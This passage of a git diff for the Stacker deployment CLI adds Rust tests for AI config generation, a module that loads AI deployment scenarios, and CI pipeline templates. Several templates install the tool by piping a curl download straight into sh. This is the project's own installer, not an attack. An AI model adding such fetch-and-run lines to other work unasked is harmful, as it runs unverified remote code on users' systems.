detection should work correctly. + } + + #[test] + fn test_scan_project_empty() { + let fs = MockFs::with_files(&[]); + let result = scan_project(Path::new("/empty-project"), &fs); + + assert_eq!(result.detection.app_type, AppType::Custom); + assert!(result.root_files.is_empty()); + assert!(result.file_contents.is_empty()); + } + + #[test] + fn test_discover_local_pipe_hints_from_env_and_compose() { + let mut file_contents = HashMap::new(); + file_contents.insert( + "docker-compose.yml".to_string(), + "services:\n postgres:\n image: postgres:16\n redis:\n image: redis:7\n" + .to_string(), + ); + + let hints = discover_local_pipe_hints( + "openclaw-app", + "node".to_string(), + &["docker-compose.yml".to_string()], + &file_contents, + &["DATABASE_URL".to_string(), "REDIS_URL".to_string()], + ); + + assert!(hints + .iter() + .any(|h| h.target == "postgres" && h.kind == "database")); + assert!(hints + .iter() + .any(|h| h.target == "redis" && h.kind == "cache-or-queue")); + } + + #[test] + fn test_discover_local_pipe_hints_for_frontend_api() { + let hints = discover_local_pipe_hints( + "frontend-app", + "node".to_string(), + &["next.config.js".to_string()], + &HashMap::new(), + &["NEXT_PUBLIC_API_URL".to_string()], + ); + + assert!(hints + .iter() + .any(|h| h.target == "backend-api" && h.kind == "http-api")); + } + + // ── build_generation_prompt ───────────────────── + + #[test] + fn test_prompt_includes_project_name() { + let scan = ProjectScanResult { + project_name: "my-web-app".to_string(), + detection: ProjectDetection { + app_type: AppType::Node, + ..Default::default() + }, + root_files: vec!["package.json".to_string(), "src".to_string()], + ..Default::default() + }; + + let prompt = build_generation_prompt(&scan); + assert!(prompt.contains("my-web-app")); + assert!(prompt.contains("node")); + assert!(prompt.contains("package.json")); + assert!(prompt.contains("Generate a complete stacker.yml")); + } + + #[test] + fn test_prompt_includes_env_keys() { + let scan = ProjectScanResult { + project_name: "app".to_string(), + detection: ProjectDetection { + has_env_file: true, + ..Default::default() + }, + env_keys: vec!["DATABASE_URL".to_string(), "SECRET_KEY".to_string()], + ..Default::default() + }; + + let prompt = build_generation_prompt(&scan); + assert!(prompt.contains("DATABASE_URL")); + assert!(prompt.contains("SECRET_KEY")); + } + + #[test] + fn test_prompt_includes_existing_dockerfile() { + let scan = ProjectScanResult { + project_name: "app".to_string(), + detection: ProjectDetection { + has_dockerfile: true, + ..Default::default() + }, + existing_dockerfile: Some("FROM node:20\nCOPY . .\nRUN npm install".to_string()), + ..Default::default() + }; + + let prompt = build_generation_prompt(&scan); + assert!(prompt.contains("Existing Dockerfile")); + assert!(prompt.contains("FROM node:20")); + } + + #[test] + fn test_prompt_includes_existing_compose() { + let scan = ProjectScanResult { + project_name: "app".to_string(), + detection: ProjectDetection { + has_compose: true, + ..Default::default() + }, + existing_compose: Some("version: '3'\nservices:\n web:\n build: .".to_string()), + ..Default::default() + }; + + let prompt = build_generation_prompt(&scan); + assert!(prompt.contains("Existing docker-compose")); + assert!(prompt.contains("services:")); + } + + #[test] + fn test_prompt_includes_file_contents() { + let mut file_contents = HashMap::new(); + file_contents.insert( + "package.json".to_string(), + r#"{"name":"test","dependencies":{"express":"^4.18"}}"#.to_string(), + ); + + let scan = ProjectScanResult { + project_name: "app".to_string(), + file_contents, + ..Default::default() + }; + + let prompt = build_generation_prompt(&scan); + assert!(prompt.contains("package.json")); + assert!(prompt.contains("express")); + } + + #[test] + fn test_prompt_includes_pipe_hints() { + let scan = ProjectScanResult { + project_name: "openclaw-app".to_string(), + pipe_hints: vec![PipeHint { + source: "openclaw-app".to_string(), + target: "postgres".to_string(), + kind: "database".to_string(), + confidence: PipeHintConfidence::High, + evidence: vec!["env keys reference postgres/database".to_string()], + }], + ..Default::default() + }; + + let prompt = build_generation_prompt(&scan); + assert!(prompt.contains("Potential local pipe / integration hints")); + assert!(prompt.contains("openclaw-app -> postgres [database]")); + assert!(prompt.contains("confidence=high")); + } + + // ── generate_config_with_ai_impl ──────────────── + + #[test] + fn test_generate_with_ai_valid_yaml() { + let yaml = "name: ai-app\napp:\n type: node\n path: .\ndeploy:\n target: local\n"; + let provider = MockAi::with_yaml(yaml); + let fs = MockFs::with_files(&["package.json"]); + + let result = generate_config_with_ai_impl(Path::new("/test"), &provider, &fs); + assert!(result.is_ok()); + + let output = result.unwrap(); + assert!(output.contains("ai-app")); + assert!(output.contains("node")); + + // Should be parseable as StackerConfig + let config = StackerConfig::from_str(&output).unwrap(); + assert_eq!(config.name, "ai-app"); + assert_eq!(config.app.app_type, AppType::Node); + } + + #[test] + fn test_generate_with_ai_strips_fences() { + let yaml = "name: fenced-app\napp:\n type: python\n path: .\n"; + let provider = MockAi::with_fenced_yaml(yaml); + let fs = MockFs::with_files(&["requirements.txt"]); + + let result = generate_config_with_ai_impl(Path::new("/test"), &provider, &fs); + assert!(result.is_ok()); + + let output = result.unwrap(); + assert!(!output.contains("```")); + assert!(output.contains("fenced-app")); + } + + #[test] + fn test_generate_with_ai_invalid_yaml_errors() { + let provider = MockAi::with_yaml("not: valid: yaml: [broken"); + let fs = MockFs::with_files(&["index.html"]); + + let result = generate_config_with_ai_impl(Path::new("/test"), &provider, &fs); + assert!(result.is_err()); + + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("invalid YAML")); + } + + #[test] + fn test_generate_with_ai_provider_error() { + let provider = FailingAi; + let fs = MockFs::with_files(&["package.json"]); + + let result = generate_config_with_ai_impl(Path::new("/test"), &provider, &fs); + assert!(result.is_err()); + + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("connection refused")); + } + + #[test] + fn test_generate_with_ai_full_config() { + let yaml = r#"name: full-ai-app +version: "1.0" +app: + type: node + path: . + build: + context: . + args: + NODE_ENV: production +services: + - name: postgres + image: postgres:16 + ports: + - "5432:5432" + environment: + POSTGRES_DB: mydb + POSTGRES_PASSWORD: ${DB_PASSWORD} + volumes: + - pgdata:/var/lib/postgresql/data + - name: redis + image: redis:7-alpine + ports: + - "6379:6379" +proxy: + type: nginx + domains: + - domain: app.localhost + ssl: "off" + upstream: app:3000 +deploy: + target: local +monitoring: + status_panel: true + healthcheck: + endpoint: /health + interval: 30s +env: + NODE_ENV: production +"#; + let provider = MockAi::with_yaml(yaml); + let fs = MockFs::with_files(&["package.json", "tsconfig.json"]); + + let result = generate_config_with_ai_impl(Path::new("/test"), &provider, &fs); + assert!(result.is_ok()); + + let output = result.unwrap(); + + // Verify it parses as a complete StackerConfig + // Note: ${DB_PASSWORD} will fail env resolution, so we set it + std::env::set_var("DB_PASSWORD", "test123"); + let config = StackerConfig::from_str(&output).unwrap(); + std::env::remove_var("DB_PASSWORD"); + + assert_eq!(config.name, "full-ai-app"); + assert_eq!(config.app.app_type, AppType::Node); + assert_eq!(config.services.len(), 2); + assert_eq!(config.services[0].name, "postgres"); + assert_eq!(config.services[1].name, "redis"); + assert_eq!( + config.proxy.proxy_type, + crate::cli::config_parser::ProxyType::Nginx + ); + assert!(config.monitoring.status_panel); + } + + // ── System prompt content ─────────────────────── + + #[test] + fn test_system_prompt_covers_schema() { + assert!(SYSTEM_PROMPT.contains("stacker.yml")); + assert!(SYSTEM_PROMPT.contains("services")); + assert!(SYSTEM_PROMPT.contains("proxy")); + assert!(SYSTEM_PROMPT.contains("deploy")); + assert!(SYSTEM_PROMPT.contains("monitoring")); + assert!(SYSTEM_PROMPT.contains("${VAR_NAME}")); + assert!(SYSTEM_PROMPT.contains("YAML")); + } +} diff --git a/stacker/stacker/src/cli/ai_scenarios.rs b/stacker/stacker/src/cli/ai_scenarios.rs new file mode 100644 index 0000000..81ff198 --- /dev/null +++ b/stacker/stacker/src/cli/ai_scenarios.rs @@ -0,0 +1,813 @@ +use std::collections::BTreeMap; +use std::path::{Path, PathBuf}; +use std::process::Command; + +use serde::{Deserialize, Serialize}; + +use crate::cli::config_parser::{AiConfig, AiProviderType, AppType, StackerConfig}; +use crate::cli::error::CliError; + +pub const WEBSITE_DEPLOY_SCENARIO: &str = "website-deploy"; +const SCENARIO_PROVIDER_DIR: &str = "qwen2.5-code"; + +const WEBSITE_DEPLOY_MANIFEST: &str = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/scenarios/qwen2.5-code/website-deploy/scenario.yaml" +)); +const WEBSITE_DEPLOY_STEP_INIT_VALIDATE: &str = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/scenarios/qwen2.5-code/website-deploy/steps/01-init-validate.md" +)); +const WEBSITE_DEPLOY_STEP_IMAGE_PUBLISH: &str = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/scenarios/qwen2.5-code/website-deploy/steps/02-image-publish.md" +)); +const WEBSITE_DEPLOY_STEP_CLOUD_DEPLOY: &str = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/scenarios/qwen2.5-code/website-deploy/steps/03-cloud-deploy.md" +)); +const WEBSITE_DEPLOY_STEP_AGENT_PROXY: &str = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/scenarios/qwen2.5-code/website-deploy/steps/04-agent-firewall-dns-proxy.md" +)); +const WEBSITE_DEPLOY_STEP_RUNTIME_OPS: &str = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/scenarios/qwen2.5-code/website-deploy/steps/05-runtime-ops.md" +)); + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ScenarioSelection { + pub name: String, + pub step: Option, +} + +impl ScenarioSelection { + pub fn new(name: impl Into, step: Option) -> Self { + Self { + name: name.into(), + step, + } + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ScenarioManifest { + pub name: String, + pub description: String, + pub model_match: ScenarioModelMatch, + pub trigger_conditions: ScenarioTriggerConditions, + pub default_step: String, + pub required_vars: Vec, + pub transcript_rules: ScenarioTranscriptRules, + pub safety_rules: Vec, + pub steps: Vec, +} + +impl ScenarioManifest { + pub fn step(&self, step_id: &str) -> Option<&ScenarioStep> { + self.steps.iter().find(|step| step.id == step_id) + } + + pub fn next_step_after(&self, step_id: &str) -> Option { + let index = self.steps.iter().position(|step| step.id == step_id)?; + self.steps.get(index + 1).map(|step| step.id.clone()) + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ScenarioModelMatch { + pub provider: String, + pub name_contains: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ScenarioTriggerConditions { + pub app_types: Vec, + pub website_kinds: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ScenarioTranscriptRules { + pub default_path: String, + pub update_existing: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ScenarioStep { + pub id: String, + pub title: String, + pub file: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ScenarioState { + pub scenario_name: String, + pub current_step: String, + #[serde(default)] + pub vars: BTreeMap, +} + +impl ScenarioState { + pub fn new(scenario_name: impl Into, current_step: impl Into) -> Self { + Self { + scenario_name: scenario_name.into(), + current_step: current_step.into(), + vars: BTreeMap::new(), + } + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum WebsiteProjectKind { + Html, + NextJs, +} + +impl WebsiteProjectKind { + pub fn as_str(&self) -> &'static str { + match self { + Self::Html => "html", + Self::NextJs => "nextjs", + } + } + + pub fn display_name(&self) -> &'static str { + match self { + Self::Html => "HTML/static website", + Self::NextJs => "Next.js website", + } + } +} + +#[derive(Debug, Clone)] +pub struct ScenarioPromptContext { + pub manifest: ScenarioManifest, + pub step_id: String, + pub step_title: String, + pub next_step_id: Option, + pub rendered_prompt: String, + pub state: Option, +} + +pub fn is_qwen_website_scenario_model(ai_config: &AiConfig) -> bool { + if ai_config.provider != AiProviderType::Ollama { + return false; + } + + ai_config + .model + .as_deref() + .map(|model| { + let normalized = model.to_ascii_lowercase(); + normalized.contains("qwen2.5-code") || normalized.contains("qwen2.5-coder") + }) + .unwrap_or(false) +} + +pub fn detect_website_project_kind( + project_dir: &Path, + config: &StackerConfig, +) -> Option { + match config.app.app_type { + AppType::Static => Some(WebsiteProjectKind::Html), + AppType::Node => { + if has_nextjs_markers(project_dir) { + Some(WebsiteProjectKind::NextJs) + } else { + None + } + } + _ => None, + } +} + +pub fn load_scenario_manifest( + project_dir: &Path, + scenario_name: &str, +) -> Result { + let local_manifest_path = local_scenario_dir(project_dir, scenario_name).join("scenario.yaml"); + let manifest_text = if local_manifest_path.exists() { + std::fs::read_to_string(&local_manifest_path)? + } else { + builtin_manifest_text(scenario_name)?.to_string() + }; + + serde_yaml::from_str(&manifest_text).map_err(|error| { + CliError::ConfigValidation(format!( + "Failed to parse AI scenario manifest '{}': {}", + scenario_name, error + )) + }) +} + +pub fn missing_required_vars(manifest: &ScenarioManifest, state: &ScenarioState) -> Vec { + manifest + .required_vars + .iter() + .filter(|key| { + state + .vars + .get((*key).as_str()) + .map(|value| value.trim().is_empty()) + .unwrap_or(true) + }) + .cloned() + .collect() +} + +pub fn scenario_state_path(project_dir: &Path, scenario_name: &str) -> PathBuf { + local_scenario_dir(project_dir, scenario_name).join("state.json") +} + +pub fn load_scenario_state( + project_dir: &Path, + scenario_name: &str, +) -> Result, CliError> { + let state_path = scenario_state_path(project_dir, scenario_name); + if !state_path.exists() { + return Ok(None); + } + + let contents = std::fs::read_to_string(&state_path)?; + let state = serde_json::from_str(&contents).map_err(|error| { + CliError::ConfigValidation(format!( + "Failed to parse AI scenario state '{}': {}", + state_path.display(), + error + )) + })?; + + Ok(Some(state)) +} + +pub fn save_scenario_state(project_dir: &Path, state: &ScenarioState) -> Result { + let state_path = scenario_state_path(project_dir, &state.scenario_name); + if let Some(parent) = state_path.parent() { + std::fs::create_dir_all(parent)?; + } + + let content = serde_json::to_string_pretty(state).map_err(|error| { + CliError::ConfigValidation(format!("Failed to serialize AI scenario state: {}", error)) + })?; + std::fs::write(&state_path, content)?; + + Ok(state_path) +} + +pub fn seed_website_scenario_state( + project_dir: &Path, + config_path: &Path, + config: &StackerConfig, + ai_config: &AiConfig, + project_kind: &WebsiteProjectKind, +) -> ScenarioState { + let mut state = ScenarioState::new(WEBSITE_DEPLOY_SCENARIO, "init-validate"); + + insert_var(&mut state.vars, "project_name", Some(config.name.clone())); + insert_var( + &mut state.vars, + "project_identity", + config.project.identity.clone(), + ); + insert_var( + &mut state.vars, + "project_kind", + Some(project_kind.display_name().to_string()), + ); + insert_var( + &mut state.vars, + "app_type", + Some(config.app.app_type.to_string()), + ); + insert_var( + &mut state.vars, + "app_path", + Some(config.app.path.to_string_lossy().to_string()), + ); + insert_var( + &mut state.vars, + "config_path", + Some( + config_path + .file_name() + .map(|name| name.to_string_lossy().to_string()) + .unwrap_or_else(|| "stacker.yml".to_string()), + ), + ); + insert_var( + &mut state.vars, + "compose_file", + config + .deploy + .compose_file + .as_ref() + .map(|path| path.to_string_lossy().to_string()), + ); + insert_var( + &mut state.vars, + "proxy_type", + (config.proxy.proxy_type != crate::cli::config_parser::ProxyType::None) + .then(|| config.proxy.proxy_type.to_string()), + ); + insert_var( + &mut state.vars, + "status_panel_enabled", + Some(config.monitoring.status_panel.to_string()), + ); + insert_var( + &mut state.vars, + "ai_provider", + Some(ai_config.provider.to_string()), + ); + insert_var(&mut state.vars, "ai_model", ai_config.model.clone()); + insert_var(&mut state.vars, "ai_endpoint", ai_config.endpoint.clone()); + insert_var( + &mut state.vars, + "repo_url", + detect_git_remote_url(project_dir), + ); + + if let Some(domain) = primary_public_domain(config) { + insert_var(&mut state.vars, "public_domain", Some(domain)); + } + + if let Some(image) = &config.app.image { + let (repository, tag) = split_image_reference(image); + insert_var(&mut state.vars, "image_repository", Some(repository)); + insert_var(&mut state.vars, "image_tag", tag); + } else if let Some(repo_url) = state.vars.get("repo_url").cloned() { + insert_var( + &mut state.vars, + "image_repository", + derive_image_repository_from_repo_url(&repo_url), + ); + } + + if let Some(cloud) = &config.deploy.cloud { + insert_var( + &mut state.vars, + "cloud_provider", + Some(cloud.provider.to_string()), + ); + insert_var(&mut state.vars, "cloud_region", cloud.region.clone()); + insert_var(&mut state.vars, "cloud_size", cloud.size.clone()); + } + + state +} + +pub fn load_scenario_prompt_context( + project_dir: &Path, + ai_config: &AiConfig, + selection: &ScenarioSelection, +) -> Result { + let manifest = load_scenario_manifest(project_dir, &selection.name)?; + ensure_model_matches(ai_config, &manifest)?; + + let state = load_scenario_state(project_dir, &selection.name)?; + let step_id = selection + .step + .clone() + .or_else(|| { + state + .as_ref() + .map(|saved| saved.current_step.clone()) + .filter(|step| !step.trim().is_empty()) + }) + .unwrap_or_else(|| manifest.default_step.clone()); + let step = manifest.step(&step_id).cloned().ok_or_else(|| { + CliError::ConfigValidation(format!( + "Unknown AI scenario step '{}' for scenario '{}'", + step_id, manifest.name + )) + })?; + let step_markdown = load_step_markdown(project_dir, &manifest, &step)?; + let vars_yaml = state + .as_ref() + .map(|saved| scenario_vars_yaml(&saved.vars)) + .unwrap_or_else(|| "(none saved yet)".to_string()); + let next_step_id = manifest.next_step_after(&step_id); + let safety_rules = manifest + .safety_rules + .iter() + .map(|rule| format!("- {}", rule)) + .collect::>() + .join("\n"); + let rendered_prompt = format!( + "## Active deployment scenario\n\ +Scenario: {scenario}\n\ +Description: {description}\n\ +Current step: {step_id} — {step_title}\n\ +Next step hint: {next_step}\n\ +Transcript path: {transcript}\n\ +\n\ +Scenario variables:\n\ +```yaml\n\ +{vars_yaml}\n\ +```\n\ +\n\ +Safety rules:\n\ +{safety_rules}\n\ +\n\ +Step instructions:\n\ +{step_markdown}", + scenario = manifest.name, + description = manifest.description, + step_id = step.id, + step_title = step.title, + next_step = next_step_id + .clone() + .unwrap_or_else(|| "(this is the final built-in step)".to_string()), + transcript = manifest.transcript_rules.default_path, + ); + + Ok(ScenarioPromptContext { + manifest, + step_id, + step_title: step.title.clone(), + next_step_id, + rendered_prompt, + state, + }) +} + +pub fn next_step_id( + project_dir: &Path, + scenario_name: &str, + current_step: &str, +) -> Result, CliError> { + let manifest = load_scenario_manifest(project_dir, scenario_name)?; + Ok(manifest.next_step_after(current_step)) +} + +fn ensure_model_matches(ai_config: &AiConfig, manifest: &ScenarioManifest) -> Result<(), CliError> { + let provider_matches = ai_config.provider.to_string() == manifest.model_match.provider; + let model_matches = ai_config + .model + .as_deref() + .map(|model| { + let normalized = model.to_ascii_lowercase(); + manifest + .model_match + .name_contains + .iter() + .any(|needle| normalized.contains(&needle.to_ascii_lowercase())) + }) + .unwrap_or(false); + + if provider_matches && model_matches { + Ok(()) + } else { + Err(CliError::ConfigValidation(format!( + "Scenario '{}' requires {} models containing one of: {}", + manifest.name, + manifest.model_match.provider, + manifest.model_match.name_contains.join(", ") + ))) + } +} + +fn has_nextjs_markers(project_dir: &Path) -> bool { + let direct_markers = [ + "next.config.js", + "next.config.mjs", + "next.config.ts", + "src/app/page.tsx", + "src/app/page.jsx", + "src/pages/index.tsx", + "src/pages/index.jsx", + "pages/index.tsx", + "pages/index.jsx", + ]; + if direct_markers + .iter() + .any(|path| project_dir.join(path).exists()) + { + return true; + } + + let package_json_path = project_dir.join("package.json"); + let package_json = match std::fs::read_to_string(package_json_path) { + Ok(content) => content, + Err(_) => return false, + }; + let parsed: serde_json::Value = match serde_json::from_str(&package_json) { + Ok(value) => value, + Err(_) => return false, + }; + + let has_next_dependency = parsed["dependencies"].get("next").is_some() + || parsed["devDependencies"].get("next").is_some(); + let has_next_script = parsed["scripts"] + .as_object() + .map(|scripts| { + scripts.values().any(|value| { + value + .as_str() + .map(|script| script.contains("next ")) + .unwrap_or(false) + }) + }) + .unwrap_or(false); + + has_next_dependency || has_next_script +} + +fn local_scenario_dir(project_dir: &Path, scenario_name: &str) -> PathBuf { + project_dir + .join(".stacker") + .join("scenarios") + .join(SCENARIO_PROVIDER_DIR) + .join(scenario_name) +} + +fn builtin_manifest_text(scenario_name: &str) -> Result<&'static str, CliError> { + match scenario_name { + WEBSITE_DEPLOY_SCENARIO => Ok(WEBSITE_DEPLOY_MANIFEST), + other => Err(CliError::ConfigValidation(format!( + "Unknown built-in AI scenario '{}'", + other + ))), + } +} + +fn builtin_step_markdown(scenario_name: &str, file: &str) -> Result<&'static str, CliError> { + match (scenario_name, file) { + (WEBSITE_DEPLOY_SCENARIO, "steps/01-init-validate.md") => { + Ok(WEBSITE_DEPLOY_STEP_INIT_VALIDATE) + } + (WEBSITE_DEPLOY_SCENARIO, "steps/02-image-publish.md") => { + Ok(WEBSITE_DEPLOY_STEP_IMAGE_PUBLISH) + } + (WEBSITE_DEPLOY_SCENARIO, "steps/03-cloud-deploy.md") => { + Ok(WEBSITE_DEPLOY_STEP_CLOUD_DEPLOY) + } + (WEBSITE_DEPLOY_SCENARIO, "steps/04-agent-firewall-dns-proxy.md") => { + Ok(WEBSITE_DEPLOY_STEP_AGENT_PROXY) + } + (WEBSITE_DEPLOY_SCENARIO, "steps/05-runtime-ops.md") => Ok(WEBSITE_DEPLOY_STEP_RUNTIME_OPS), + _ => Err(CliError::ConfigValidation(format!( + "Unknown built-in AI scenario step file '{}'", + file + ))), + } +} + +fn load_step_markdown( + project_dir: &Path, + manifest: &ScenarioManifest, + step: &ScenarioStep, +) -> Result { + let local_path = local_scenario_dir(project_dir, &manifest.name).join(&step.file); + if local_path.exists() { + return Ok(std::fs::read_to_string(local_path)?); + } + + Ok(builtin_step_markdown(&manifest.name, &step.file)?.to_string()) +} + +fn insert_var(vars: &mut BTreeMap, key: &str, value: Option) { + if let Some(value) = value.map(|value| value.trim().to_string()) { + if !value.is_empty() { + vars.insert(key.to_string(), value); + } + } +} + +fn scenario_vars_yaml(vars: &BTreeMap) -> String { + if vars.is_empty() { + return "(none saved yet)".to_string(); + } + + serde_yaml::to_string(vars) + .unwrap_or_else(|_| "(failed to render variables)".to_string()) + .trim() + .to_string() +} + +fn detect_git_remote_url(project_dir: &Path) -> Option { + let output = Command::new("git") + .args(["config", "--get", "remote.origin.url"]) + .current_dir(project_dir) + .output() + .ok()?; + if !output.status.success() { + return None; + } + + let remote = String::from_utf8_lossy(&output.stdout).trim().to_string(); + (!remote.is_empty()).then_some(remote) +} + +fn primary_public_domain(config: &StackerConfig) -> Option { + config + .proxy + .domains + .iter() + .map(|domain| domain.domain.trim()) + .find(|domain| !domain.is_empty() && !is_placeholder_domain(domain)) + .map(ToOwned::to_owned) +} + +fn is_placeholder_domain(domain: &str) -> bool { + domain.ends_with(".localhost") || domain.contains("example.com") +} + +fn derive_image_repository_from_repo_url(repo_url: &str) -> Option { + let remote = repo_url.trim().trim_end_matches(".git"); + let path = if let Some(path) = remote.strip_prefix("git@github.com:") { + path + } else if let Some(path) = remote.strip_prefix("https://github.com/") { + path + } else if let Some(path) = remote.strip_prefix("ssh://git@github.com/") { + path + } else { + return None; + }; + + let mut segments = path.split('/'); + let owner = segments.next()?.trim(); + let repo = segments.next()?.trim(); + if owner.is_empty() || repo.is_empty() { + return None; + } + + Some(format!("ghcr.io/{owner}/{repo}")) +} + +fn split_image_reference(image: &str) -> (String, Option) { + let last_slash = image.rfind('/'); + let last_colon = image.rfind(':'); + if let Some(colon_index) = last_colon { + if last_slash.map(|slash| colon_index > slash).unwrap_or(true) { + let repository = image[..colon_index].to_string(); + let tag = image[colon_index + 1..].trim().to_string(); + return (repository, (!tag.is_empty()).then_some(tag)); + } + } + + (image.to_string(), None) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::config_parser::{AiProviderType, ProxyType}; + + fn website_ai_config(model: &str) -> AiConfig { + AiConfig { + enabled: true, + provider: AiProviderType::Ollama, + model: Some(model.to_string()), + api_key: None, + endpoint: Some("http://localhost:11434".to_string()), + timeout: 300, + tasks: vec![], + } + } + + #[test] + fn test_detect_html_website_candidate() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::write(dir.path().join("index.html"), "").unwrap(); + + let mut config = StackerConfig::default(); + config.app.app_type = AppType::Static; + + assert_eq!( + detect_website_project_kind(dir.path(), &config), + Some(WebsiteProjectKind::Html) + ); + } + + #[test] + fn test_detect_nextjs_website_candidate() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::write( + dir.path().join("package.json"), + r#"{"dependencies":{"next":"15.0.0"}}"#, + ) + .unwrap(); + + let mut config = StackerConfig::default(); + config.app.app_type = AppType::Node; + + assert_eq!( + detect_website_project_kind(dir.path(), &config), + Some(WebsiteProjectKind::NextJs) + ); + } + + #[test] + fn test_seed_website_scenario_state_derives_repo_image_and_cloud_values() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::create_dir_all(dir.path().join(".git")).unwrap(); + + let mut config = StackerConfig::default(); + config.name = "status-web".to_string(); + config.app.app_type = AppType::Static; + config.proxy.proxy_type = ProxyType::Nginx; + config + .proxy + .domains + .push(crate::cli::config_parser::DomainConfig { + domain: "status.try.direct".to_string(), + ssl: crate::cli::config_parser::SslMode::Auto, + upstream: "app:80".to_string(), + }); + config.deploy.cloud = Some(crate::cli::config_parser::CloudConfig { + provider: crate::cli::config_parser::CloudProvider::Hetzner, + orchestrator: crate::cli::config_parser::CloudOrchestrator::Remote, + region: Some("nbg1".to_string()), + size: Some("cpx11".to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: None, + key: None, + server: None, + }); + + // Simulate a git remote through an existing state seed instead of shelling out in tests. + let ai_config = website_ai_config("qwen2.5-coder:latest"); + let mut state = seed_website_scenario_state( + dir.path(), + &dir.path().join("stacker.yml"), + &config, + &ai_config, + &WebsiteProjectKind::Html, + ); + state.vars.insert( + "repo_url".to_string(), + "https://github.com/trydirect/status-web.git".to_string(), + ); + if !state.vars.contains_key("image_repository") { + state.vars.insert( + "image_repository".to_string(), + derive_image_repository_from_repo_url(state.vars.get("repo_url").unwrap()).unwrap(), + ); + } + + assert_eq!( + state.vars.get("project_name").map(String::as_str), + Some("status-web") + ); + assert_eq!( + state.vars.get("public_domain").map(String::as_str), + Some("status.try.direct") + ); + assert_eq!( + state.vars.get("cloud_provider").map(String::as_str), + Some("hetzner") + ); + assert_eq!( + state.vars.get("cloud_region").map(String::as_str), + Some("nbg1") + ); + assert_eq!( + state.vars.get("image_repository").map(String::as_str), + Some("ghcr.io/trydirect/status-web") + ); + } + + #[test] + fn test_load_scenario_prompt_context_uses_local_override_step() { + let dir = tempfile::TempDir::new().unwrap(); + let scenario_dir = local_scenario_dir(dir.path(), WEBSITE_DEPLOY_SCENARIO); + std::fs::create_dir_all(scenario_dir.join("steps")).unwrap(); + std::fs::write( + scenario_dir.join("steps/01-init-validate.md"), + "Local override step content", + ) + .unwrap(); + save_scenario_state( + dir.path(), + &ScenarioState::new(WEBSITE_DEPLOY_SCENARIO, "init-validate"), + ) + .unwrap(); + + let context = load_scenario_prompt_context( + dir.path(), + &website_ai_config("qwen2.5-code:latest"), + &ScenarioSelection::new(WEBSITE_DEPLOY_SCENARIO, Some("init-validate".to_string())), + ) + .unwrap(); + + assert!(context + .rendered_prompt + .contains("Local override step content")); + assert_eq!(context.step_id, "init-validate"); + } + + #[test] + fn test_missing_required_vars_reports_absent_values() { + let manifest = load_scenario_manifest(Path::new("."), WEBSITE_DEPLOY_SCENARIO).unwrap(); + let mut state = ScenarioState::new(WEBSITE_DEPLOY_SCENARIO, "init-validate"); + state + .vars + .insert("image_tag".to_string(), "latest".to_string()); + + let missing = missing_required_vars(&manifest, &state); + assert!(missing.contains(&"public_domain".to_string())); + assert!(!missing.contains(&"image_tag".to_string())); + } +} diff --git a/stacker/stacker/src/cli/ci_export.rs b/stacker/stacker/src/cli/ci_export.rs new file mode 100644 index 0000000..51c8b54 --- /dev/null +++ b/stacker/stacker/src/cli/ci_export.rs @@ -0,0 +1,317 @@ +//! CI/CD pipeline template generation. +//! +//! Uses `tera` (already in deps) to render platform-specific pipeline YAML from +//! the current `StackerConfig`. Templates are embedded as string constants so +//! the binary requires no external template files. + +use tera::{Context, Tera}; + +use crate::cli::config_parser::StackerConfig; +use crate::cli::error::CliError; + +// ── Embedded templates ────────────────────────────────────────────────────── + +/// GitHub Actions workflow template. +/// +/// GitHub's own `${{ }}` expressions are wrapped in `{% raw %}…{% endraw %}` +/// so Tera does not attempt to evaluate them. +const GITHUB_ACTIONS_TEMPLATE: &str = r#"name: Deploy {{ name }} with Stacker + +on: + push: + branches: [main] + workflow_dispatch: + +jobs: + deploy: + name: Deploy {{ name }} + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Install Stacker CLI + run: curl -fsSL https://get.try.direct/stacker | sh + + - name: Deploy stack + env: + STACKER_TOKEN: {% raw %}${{ secrets.STACKER_TOKEN }}{% endraw %} + run: stacker deploy --target {{ deploy_target }} +"#; + +/// GitLab CI/CD pipeline template. +/// +/// GitLab uses `$VARIABLE` syntax which does not conflict with Tera's `{{ }}`. +const GITLAB_CI_TEMPLATE: &str = r#"stages: + - deploy + +deploy: + stage: deploy + image: docker:latest + services: + - docker:dind + variables: + STACKER_TOKEN: $STACKER_TOKEN + before_script: + - curl -fsSL https://get.try.direct/stacker | sh + script: + - stacker deploy --target {{ deploy_target }} + only: + - main +"#; + +/// Bitbucket Pipelines template. +const BITBUCKET_PIPELINES_TEMPLATE: &str = r#"# Bitbucket Pipelines generated by Stacker for {{ name }} +pipelines: + branches: + main: + - step: + name: Deploy {{ name }} + image: atlassian/default-image:3 + script: + - curl -fsSL https://get.try.direct/stacker | sh + - export STACKER_TOKEN="$STACKER_TOKEN" + - stacker deploy --target {{ deploy_target }} +"#; + +/// Jenkins declarative pipeline template. +const JENKINSFILE_TEMPLATE: &str = r#"// Jenkins Pipeline generated by Stacker for {{ name }} +pipeline { + agent any + + stages { + stage('Deploy {{ name }}') { + steps { + sh 'curl -fsSL https://get.try.direct/stacker | sh' + withEnv(['STACKER_TOKEN=' + env.STACKER_TOKEN]) { + sh 